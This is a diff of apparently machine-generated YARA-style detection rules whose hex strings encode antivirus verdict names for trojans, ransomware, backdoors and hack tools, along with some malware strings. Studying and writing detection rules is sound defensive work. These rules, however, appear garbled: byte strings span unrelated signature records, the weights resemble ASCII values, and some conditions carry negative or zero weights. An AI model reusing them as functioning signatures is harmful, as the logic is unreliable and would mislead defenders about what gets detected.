35 03 0f 87 c1 00 00 00 e8 90 01 04 66 0f 6f 05 90 01 04 f3 0f 7f 44 24 68 c6 44 24 58 00 4c 8d 0d 90 01 04 ba 20 00 00 00 41 b8 01 00 00 00 48 8d 4c 24 78 e8 90 00 00 00 78 eb 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 50 53 46 41 21 4d 54 42 00 05 00 37 01 00 02 73 17 00 00 0a 7d 01 00 00 04 02 17 28 18 00 00 0a 00 02 20 20 03 00 00 20 c2 01 00 00 73 19 00 00 0a 28 1a 00 00 0a 00 02 72 01 00 00 70 6f 1b 00 00 0a 00 2a 01 00 0e 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 1d 01 50 6c 61 79 7a 6f 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 } //-3 + $a_50_5 = {61 } //3072 a + $a_6e_6 = {2e 65 78 65 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 25 01 24 63 30 66 33 64 39 61 31 2d 34 37 61 64 2d 34 37 64 30 2d 62 34 62 37 2d 64 64 64 65 33 66 61 31 34 35 63 35 00 00 78 eb 00 00 0a 00 0a 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 } //31353 + $a_30_7 = {32 32 32 21 4d 54 42 00 05 00 2c 01 33 00 38 00 46 00 34 00 57 00 50 00 39 00 45 00 34 00 48 00 48 00 38 00 35 00 38 00 46 00 41 00 53 00 43 00 4a } //12621 + condition: + ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*24933+(#a_64_2 & 1)*26414+(#a_65_3 & 1)*21295+(#a_48_4 & 1)*-3+(#a_50_5 & 1)*3072+(#a_6e_6 & 1)*31353+(#a_30_7 & 1)*12621) >=8 + +} +rule _InfrastructureShared_16416{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 53 58 43 21 4d 54 42 00 05 00 41 03 41 b9 40 00 00 00 41 b8 00 30 00 00 ff 15 90 01 04 48 8b d8 48 85 c0 74 31 48 8d 55 } //21539 + $a_7d_1 = {0f 48 0f 47 55 b8 4c 8b 45 c8 48 8b c8 e8 90 01 04 ff d3 33 d2 41 b8 00 80 00 00 48 8b cb 90 00 03 00 36 03 48 89 5c 24 10 55 48 8d ac 24 80 fd ff ff 48 81 ec 80 03 00 00 48 8b 05 90 01 04 48 33 c4 48 89 85 70 02 00 00 48 8b d9 33 d2 41 b8 38 01 00 00 48 8d 4d a0 90 00 02 00 35 03 0f 87 c1 00 00 00 e8 90 01 04 66 0f 6f 05 90 01 04 f3 0f 7f 44 24 68 c6 44 24 58 00 4c 8d 0d 90 01 04 ba 20 00 } //18616 + $a_b8_2 = {00 00 00 48 8d 4c 24 78 e8 90 00 00 00 78 eb 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 6e 76 61 67 65 6e 74 2e 50 53 46 41 21 4d 54 42 00 05 00 37 01 00 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_7d_1 & 1)*18616+(#a_b8_2 & 1)*0) >=10 + +} +rule _InfrastructureShared_16417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -178738,7 +190714,7 @@ rule _InfrastructureShared_15405{ ((#a_4c_0 & 1)*21539+(#a_1a_1 & 1)*2560+(#a_6f_2 & 1)*31073+(#a_61_3 & 1)*28530+(#a_00_5 & 1)*70) >=10 } -rule _InfrastructureShared_15406{ +rule _InfrastructureShared_16418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -178752,7 +190728,7 @@ rule _InfrastructureShared_15406{ ((#a_54_0 & 1)*18467+(#a_47_2 & 1)*11264+(#a_00_4 & 1)*90+(#a_00_5 & 1)*22359+(#a_2f_6 & 1)*13166) >=10 } -rule _InfrastructureShared_15407{ +rule _InfrastructureShared_16419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -178761,17 +190737,37 @@ rule _InfrastructureShared_15407{ $a_00_1 = {0f } //16761 $a_65_2 = {43 72 65 61 74 65 4b 65 79 45 78 41 01 00 16 81 01 77 61 76 65 4f 75 74 55 6e 70 72 65 70 61 72 65 48 65 61 64 65 72 01 00 17 81 01 47 65 74 53 79 73 74 65 6d 54 69 6d 65 41 73 46 69 6c 65 54 69 6d 65 01 00 0c 81 01 73 74 61 72 64 69 63 74 5f 4b } //385 $a_00_3 = {0f } //31077 - $a_74_4 = {72 64 69 63 74 5f 61 6c 69 79 75 6e 01 00 13 81 01 73 74 61 72 64 69 63 74 2d 65 64 69 74 6f 72 2e 64 6c 6c 00 00 78 eb 00 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 69 6e 67 6f 46 69 6c 65 43 6f 64 65 72 2e 47 21 4d 54 42 00 02 00 2a 81 01 44 69 72 65 63 74 6f 72 79 5f 74 72 61 76 65 72 73 61 6c 2f 44 69 } //385 - $a_74_5 = {72 79 5f 74 72 61 76 65 72 73 61 6c 2e 67 6f 02 00 1c 81 01 41 45 53 5f 45 6e 63 72 79 70 74 69 6f 6e 2f 52 61 6e 64 6f 6d 5f 4b 65 79 2e 67 6f 02 00 07 81 01 2e 73 79 6d 74 61 62 02 00 20 81 01 41 45 53 5f 45 6e 63 72 79 70 74 69 6f 6e 2f 41 45 53 5f 45 6e 63 72 79 70 74 69 6f 6e 2e 67 6f 02 00 } //25970 - $a_52_6 = {41 } //-32490 A - $a_43_7 = {4b 45 59 2e 52 53 41 45 6e 63 72 79 70 74 02 00 1a 81 01 52 53 41 5f 45 4e 43 5f 4b 45 59 2f 52 53 41 5f 45 4e 43 5f 4b 45 59 2e 67 6f 00 00 78 eb 00 00 18 00 18 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 } //17759 - $a_54_8 = {73 6c 61 2e 41 4d 49 44 32 39 21 4d 54 42 00 01 00 07 81 01 54 6f 49 6e 74 33 32 01 00 06 81 01 54 6f 42 79 74 65 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 16 81 01 45 35 5a 38 34 35 53 35 41 48 44 41 45 35 48 47 47 4f 34 48 35 31 0a 00 16 81 01 41 46 39 34 48 35 48 48 34 56 37 38 4a 38 38 37 5a 42 35 34 46 44 01 00 08 81 01 54 6f 53 74 72 } //28261 - $a_01_9 = {00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 0a 00 33 81 01 61 52 33 6e 62 66 38 64 51 70 32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 63 65 73 00 00 78 eb 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 } //28265 + $a_74_4 = {72 64 69 63 74 5f 61 6c 69 79 75 6e 01 00 13 81 01 73 74 61 72 64 69 63 74 2d 65 64 69 74 6f 72 2e 64 6c 6c 00 00 78 eb 00 00 0b 00 0b 00 0b 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 53 74 61 73 68 2e 46 21 64 68 61 00 01 00 04 01 4b 69 6c 6c 01 00 13 01 67 65 74 5f 4d 6f 64 75 6c 65 56 65 72 73 69 6f 6e } //385 + $a_00_5 = {0b } //25673 + $a_74_6 = {4d 65 73 73 61 67 65 01 00 0c 01 67 65 74 5f 55 73 65 72 4e 61 6d 65 01 00 0f 01 67 65 74 5f 50 72 6f 63 65 73 73 4e 61 6d 65 01 00 0c 01 67 65 74 5f 46 75 6c 6c 4e 61 6d 65 01 00 0e 01 73 65 74 5f 43 6c 69 65 6e 74 53 69 7a 65 01 00 14 01 4a 61 76 61 53 63 72 69 70 74 53 65 72 69 61 6c 69 7a 65 72 01 } //26369 + $a_47_7 = {74 } //3072 t + $a_63_8 = {73 73 65 73 01 00 13 01 73 65 74 5f 55 73 65 53 68 65 6c 6c 45 78 65 63 75 74 65 01 00 07 01 67 65 74 5f 50 6e 67 00 00 78 eb 00 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 69 6e 67 6f 46 69 6c 65 43 6f 64 65 72 2e 47 21 4d 54 42 00 02 00 2a 81 01 44 69 72 65 63 74 6f 72 79 5f 74 72 61 76 65 72 } //29264 + $a_2f_9 = {69 72 65 63 74 6f 72 79 5f 74 72 61 76 65 72 73 61 6c 2e 67 6f 02 00 1c 81 01 41 45 53 5f 45 6e 63 72 79 70 74 69 6f 6e 2f 52 61 6e 64 6f 6d 5f 4b 65 79 2e 67 6f 02 00 07 81 01 2e 73 79 6d 74 61 62 02 00 20 81 01 41 45 53 5f 45 6e 63 72 79 70 74 69 6f 6e 2f 41 45 53 5f 45 6e 63 72 79 70 74 69 6f 6e 2e 67 6f 02 00 16 81 01 } //24947 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16761+(#a_65_2 & 1)*385+(#a_00_3 & 1)*31077+(#a_74_4 & 1)*385+(#a_74_5 & 1)*25970+(#a_52_6 & 1)*-32490+(#a_43_7 & 1)*17759+(#a_54_8 & 1)*28261+(#a_01_9 & 1)*28265) >=10 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16761+(#a_65_2 & 1)*385+(#a_00_3 & 1)*31077+(#a_74_4 & 1)*385+(#a_00_5 & 1)*25673+(#a_74_6 & 1)*26369+(#a_47_7 & 1)*3072+(#a_63_8 & 1)*29264+(#a_2f_9 & 1)*24947) >=10 } -rule _InfrastructureShared_15408{ +rule _InfrastructureShared_16420{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 53 74 61 73 68 2e 46 21 64 68 61 00 01 00 04 01 4b 69 6c 6c 01 00 13 01 67 65 74 5f 4d 6f 64 75 6c 65 56 65 72 73 69 6f 6e 49 64 01 00 0b 01 67 65 74 5f 4d 65 73 73 61 } //16675 + $a_00_1 = {0c } //25959 + $a_74_2 = {55 73 65 72 4e 61 6d 65 01 00 0f 01 67 65 74 5f 50 72 6f 63 65 73 73 4e 61 6d 65 01 00 0c 01 67 65 74 5f 46 75 6c 6c 4e 61 6d 65 01 00 0e 01 73 65 74 5f 43 6c 69 65 6e 74 53 69 7a 65 01 00 14 01 4a 61 76 61 53 63 72 69 70 74 53 65 72 69 61 6c 69 7a 65 72 01 00 0c 01 47 65 74 50 72 6f 63 65 73 73 65 73 } //26369 + $a_01_3 = {73 65 74 5f 55 73 65 53 68 65 6c 6c 45 78 65 63 75 74 65 } //1 set_UseShellExecute + $a_01_4 = {67 65 74 5f 50 6e 67 } //1 get_Png + $a_eb_5 = {00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 69 6e 67 6f 46 69 6c 65 43 6f 64 65 72 2e 47 21 4d 54 42 00 02 00 2a 81 01 44 69 72 65 63 74 6f 72 79 5f 74 72 61 76 65 72 73 61 6c 2f 44 69 72 65 63 74 6f 72 79 5f 74 72 61 76 65 72 73 61 6c 2e 67 6f 02 00 1c 81 01 41 45 53 5f 45 6e 63 72 79 70 74 69 6f 6e 2f 52 61 6e 64 6f 6d } //0 + $a_79_6 = {67 6f 02 00 07 81 01 2e 73 79 6d 74 61 62 02 00 20 81 01 41 45 53 5f 45 6e 63 72 79 70 74 69 6f 6e 2f 41 45 53 5f 45 6e 63 72 79 70 74 69 6f 6e 2e 67 6f 02 00 16 81 01 52 53 41 5f 45 4e 43 5f 4b 45 59 2e 52 53 41 45 6e 63 72 79 70 74 02 00 1a 81 01 52 53 41 5f 45 4e 43 5f 4b 45 59 2f 52 53 41 5f 45 4e } //19295 + $a_45_7 = {2e 67 6f 00 00 78 eb 00 00 18 00 18 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 44 32 39 21 4d 54 42 00 01 00 07 81 01 54 6f 49 6e 74 33 32 01 00 06 81 01 54 6f } //24387 + $a_65_8 = {00 09 81 01 47 65 74 4f 62 6a 65 63 74 0a 00 16 81 01 45 35 5a 38 34 35 53 35 41 48 44 41 45 35 48 47 47 4f 34 48 35 31 0a 00 16 81 01 41 46 39 34 48 35 48 48 34 56 37 38 4a 38 38 37 5a 42 35 34 46 44 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 0a 00 33 81 01 61 52 33 6e 62 } //31042 + $a_51_9 = {32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 63 65 73 00 00 78 eb 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 48 65 61 76 79 50 61 73 73 2e 44 21 64 68 61 00 64 00 69 01 55 73 61 } //14438 + $a_20_10 = {65 72 76 65 72 2e 65 78 65 20 52 65 6d 6f 74 65 50 61 74 68 20 50 6f 72 74 20 5b 2d 62 20 46 72 6f 6d 28 4d 42 29 5d 20 5b 2d 73 20 53 69 7a 65 28 4d 42 29 5d 20 5b 2d 7a 5d } //25959 erver.exe RemotePath Port [-b From(MB)] [-s Size(MB)] [-z] + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25959+(#a_74_2 & 1)*26369+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_eb_5 & 1)*0+(#a_79_6 & 1)*19295+(#a_45_7 & 1)*24387+(#a_65_8 & 1)*31042+(#a_51_9 & 1)*14438+(#a_20_10 & 1)*25959) >=11 + +} +rule _InfrastructureShared_16421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -178786,7 +190782,7 @@ rule _InfrastructureShared_15408{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*27745+(#a_01_2 & 1)*8192+(#a_41_3 & 1)*24940+(#a_81_4 & 1)*10+(#a_81_5 & 1)*10) >=12 } -rule _InfrastructureShared_15409{ +rule _InfrastructureShared_16422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 09 00 21 " @@ -178804,7 +190800,7 @@ rule _InfrastructureShared_15409{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*13651+(#a_67_2 & 1)*-32503+(#a_61_3 & 1)*17247+(#a_61_4 & 1)*25633+(#a_29_5 & 1)*29793+(#a_32_6 & 1)*28265+(#a_c3_7 & 1)*400+(#a_01_8 & 1)*-28472) >=24 } -rule _InfrastructureShared_15410{ +rule _InfrastructureShared_16423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -178815,7 +190811,7 @@ rule _InfrastructureShared_15410{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29254) >=200 } -rule _InfrastructureShared_15411{ +rule _InfrastructureShared_16424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -178825,7 +190821,7 @@ rule _InfrastructureShared_15411{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15412{ +rule _InfrastructureShared_16425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -178835,7 +190831,7 @@ rule _InfrastructureShared_15412{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_15413{ +rule _InfrastructureShared_16426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -178846,7 +190842,7 @@ rule _InfrastructureShared_15413{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=2 } -rule _InfrastructureShared_15414{ +rule _InfrastructureShared_16427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -178862,7 +190858,7 @@ rule _InfrastructureShared_15414{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*17721+(#a_46_2 & 1)*14389+(#a_00_3 & 1)*13872+(#a_2e_4 & 1)*24948+(#a_6f_5 & 1)*25972+(#a_00_6 & 1)*46) >=2 } -rule _InfrastructureShared_15415{ +rule _InfrastructureShared_16428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -178877,7 +190873,7 @@ rule _InfrastructureShared_15415{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24946+(#a_00_3 & 1)*46+(#a_00_5 & 1)*111+(#a_00_6 & 1)*32+(#a_05_8 & 1)*1802) >=2 } -rule _InfrastructureShared_15416{ +rule _InfrastructureShared_16429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178889,7 +190885,7 @@ rule _InfrastructureShared_15416{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*32) >=3 } -rule _InfrastructureShared_15417{ +rule _InfrastructureShared_16430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178900,7 +190896,7 @@ rule _InfrastructureShared_15417{ ((#a_46_0 & 1)*16675+(#a_17_2 & 1)*4359) >=3 } -rule _InfrastructureShared_15418{ +rule _InfrastructureShared_16431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178912,7 +190908,7 @@ rule _InfrastructureShared_15418{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*4868+(#a_25_2 & 1)*453) >=3 } -rule _InfrastructureShared_15419{ +rule _InfrastructureShared_16432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178924,7 +190920,7 @@ rule _InfrastructureShared_15419{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_63_2 & 1)*29797) >=3 } -rule _InfrastructureShared_15420{ +rule _InfrastructureShared_16433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -178935,7 +190931,7 @@ rule _InfrastructureShared_15420{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47) >=3 } -rule _InfrastructureShared_15421{ +rule _InfrastructureShared_16434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -178947,7 +190943,7 @@ rule _InfrastructureShared_15421{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*94+(#a_00_2 & 1)*94) >=3 } -rule _InfrastructureShared_15422{ +rule _InfrastructureShared_16435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -178960,7 +190956,7 @@ rule _InfrastructureShared_15422{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*9984+(#a_00_3 & 1)*114+(#a_00_4 & 1)*108) >=3 } -rule _InfrastructureShared_15423{ +rule _InfrastructureShared_16436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -178974,7 +190970,7 @@ rule _InfrastructureShared_15423{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29295+(#a_65_2 & 1)*28530+(#a_72_3 & 1)*14930+(#a_64_4 & 1)*28502) >=3 } -rule _InfrastructureShared_15424{ +rule _InfrastructureShared_16437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -178988,7 +190984,7 @@ rule _InfrastructureShared_15424{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30812+(#a_90_2 & 1)*1360+(#a_00_3 & 1)*30553+(#a_63_4 & 1)*27649) >=4 } -rule _InfrastructureShared_15425{ +rule _InfrastructureShared_16438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -179001,7 +190997,7 @@ rule _InfrastructureShared_15425{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*29233+(#a_70_2 & 1)*29739+(#a_5c_3 & 1)*12592) >=4 } -rule _InfrastructureShared_15426{ +rule _InfrastructureShared_16439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -179013,7 +191009,7 @@ rule _InfrastructureShared_15426{ ((#a_54_0 & 1)*18467+(#a_44_2 & 1)*8192+(#a_00_4 & 1)*89) >=4 } -rule _InfrastructureShared_15427{ +rule _InfrastructureShared_16440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -179029,7 +191025,7 @@ rule _InfrastructureShared_15427{ ((#a_41_0 & 1)*20515+(#a_72_1 & 1)*26956+(#a_5d_2 & 1)*11644+(#a_64_3 & 1)*25449+(#a_90_4 & 1)*22032+(#a_74_5 & 1)*18762+(#a_56_6 & 1)*29548) >=4 } -rule _InfrastructureShared_15428{ +rule _InfrastructureShared_16441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -179043,7 +191039,7 @@ rule _InfrastructureShared_15428{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26997+(#a_74_2 & 1)*-29436+(#a_6a_3 & 1)*27763+(#a_72_4 & 1)*31088) >=5 } -rule _InfrastructureShared_15429{ +rule _InfrastructureShared_16442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -179058,7 +191054,7 @@ rule _InfrastructureShared_15429{ ((#a_54_0 & 1)*18467+(#a_56_1 & 1)*11057+(#a_44_2 & 1)*25454+(#a_77_3 & 1)*31302+(#a_72_4 & 1)*27713+(#a_20_5 & 1)*28448) >=5 } -rule _InfrastructureShared_15430{ +rule _InfrastructureShared_16443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -179067,14 +191063,14 @@ rule _InfrastructureShared_15430{ $a_74_1 = {2e 50 72 6f 70 65 72 74 69 65 73 01 00 25 80 01 53 74 6f 72 6d 41 6c 65 72 74 73 2e 41 6c 65 72 74 54 69 63 6b 65 72 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 32 80 01 53 74 6f 72 6d 41 6c 65 72 74 73 20 69 73 20 61 20 74 72 61 64 65 6d 61 72 6b 20 6f 66 20 57 65 61 74 68 65 72 20 57 61 72 6e 69 6e 67 73 20 4c 4c 43 9c ff 0a 80 01 55 } //25964 $a_73_2 = {2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 ec 00 00 05 00 05 00 07 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 59 54 44 56 69 64 65 6f 44 6f 77 6e 6c 6f 61 64 2e 4b 53 32 31 00 01 00 1e 80 01 41 62 6f 75 74 20 59 6f 75 74 75 62 65 20 4d 75 73 69 63 20 44 6f 77 6e 6c 6f } //26990 $a_72_3 = {00 1a 80 01 78 59 6f 75 74 75 62 65 4d 75 73 69 63 44 6f 77 6e 6c 6f 61 64 65 72 2e 75 73 01 00 1a 80 01 59 6f 75 74 75 62 65 4d 75 73 69 63 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 01 00 12 80 01 41 56 43 59 6f 75 74 75 62 65 54 6f 4d 50 33 41 70 70 01 00 19 80 01 59 6f 75 74 75 62 65 4d 75 73 69 63 } //25697 - $a_6e_4 = {6f 61 64 65 72 2e 75 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 ec 00 00 05 00 05 00 09 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 43 6f 69 6e 46 6c 69 70 2e 41 21 64 68 61 00 01 00 13 01 73 72 63 5c 63 68 61 6e 67 65 62 61 63 6b 75 70 2e 72 73 01 00 11 01 73 72 63 } //28484 - $a_72_5 = {65 6e 73 68 6f 74 2e 72 73 01 00 0f 01 73 72 63 5c 74 61 73 6b 6c 69 73 74 2e 72 73 01 00 12 01 73 72 63 5c 75 70 6c 6f 61 64 5f 66 69 6c 65 2e 72 73 01 00 12 01 73 72 63 5c 64 6e 73 68 6f 73 74 6e 61 6d 65 2e 72 73 01 00 13 01 73 72 63 5c 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 2e 72 73 01 00 0f 01 } //29532 - $a_5c_6 = {70 63 6f 6e 66 69 67 2e 72 73 01 00 12 01 73 72 63 5c 6b 69 6c 6c 70 72 6f 67 72 61 6d 2e 72 73 01 00 11 01 73 72 63 5c 72 75 6e 63 6f 6d 6d 61 6e 64 2e 72 73 00 00 78 ec 00 00 05 00 05 00 09 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 69 7a 7a 72 65 6d 2e 41 31 00 02 00 18 01 5c 73 61 6d 69 } //29299 + $a_6e_4 = {6f 61 64 65 72 2e 75 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 ec 00 00 05 00 05 00 09 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 69 7a 7a 72 65 6d 2e 41 31 00 02 00 18 01 5c 73 61 6d 69 5c 44 65 73 6b 74 6f 70 5c 43 6f 6d 70 75 74 65 72 41 41 02 00 25 01 43 6f 6d 70 75 74 65 72 41 } //28484 + $a_62_5 = {5c 52 65 6c 65 61 73 65 5c 43 6f 6d 70 75 74 65 72 41 41 2e 70 64 62 02 00 12 01 56 49 4b 65 79 00 53 61 6c 74 4b 65 79 00 6b 65 79 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0c 01 50 61 73 73 77 6f 72 64 48 61 73 68 01 00 0d 01 65 6e 63 72 79 70 74 65 64 54 65 78 74 9c ff 12 01 4b 6f 6e 67 73 62 65 72 67 20 } //23617 + $a_69_6 = {69 6d 65 9c ff 10 01 43 4b 4d 6f 62 69 6c 65 2e 55 57 50 2e 70 64 62 9c ff 0e 01 4b 4d 54 65 73 74 2e 55 57 50 2e 70 64 62 00 00 78 ec 00 00 05 00 05 00 09 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 41 21 4d 54 42 00 01 00 12 01 46 59 44 4b 42 70 53 47 73 48 57 30 48 45 73 64 46 62 01 00 12 01 67 30 4c 49 65 } //24909 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25964+(#a_73_2 & 1)*26990+(#a_72_3 & 1)*25697+(#a_6e_4 & 1)*28484+(#a_72_5 & 1)*29532+(#a_5c_6 & 1)*29299) >=5 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25964+(#a_73_2 & 1)*26990+(#a_72_3 & 1)*25697+(#a_6e_4 & 1)*28484+(#a_62_5 & 1)*23617+(#a_69_6 & 1)*24909) >=5 } -rule _InfrastructureShared_15431{ +rule _InfrastructureShared_16444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -179083,32 +191079,13 @@ rule _InfrastructureShared_15431{ $a_78_1 = {6f } //-32742 o $a_62_2 = {4d 75 73 69 63 44 6f 77 6e 6c 6f 61 64 65 72 2e 75 73 01 00 1a 80 01 59 6f 75 74 75 62 65 4d 75 73 69 63 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 01 00 12 80 01 41 56 43 59 6f 75 74 75 62 65 54 6f 4d 50 33 41 70 70 01 00 19 80 01 59 6f 75 74 75 62 65 4d 75 73 69 63 44 6f 77 6e 6c 6f 61 64 65 72 2e 75 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 } //29813 $a_80_3 = {55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 } //Uninstall.exe -100 - $a_ec_4 = {00 05 00 05 00 09 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 43 6f 69 6e 46 6c 69 70 2e 41 21 64 68 61 00 01 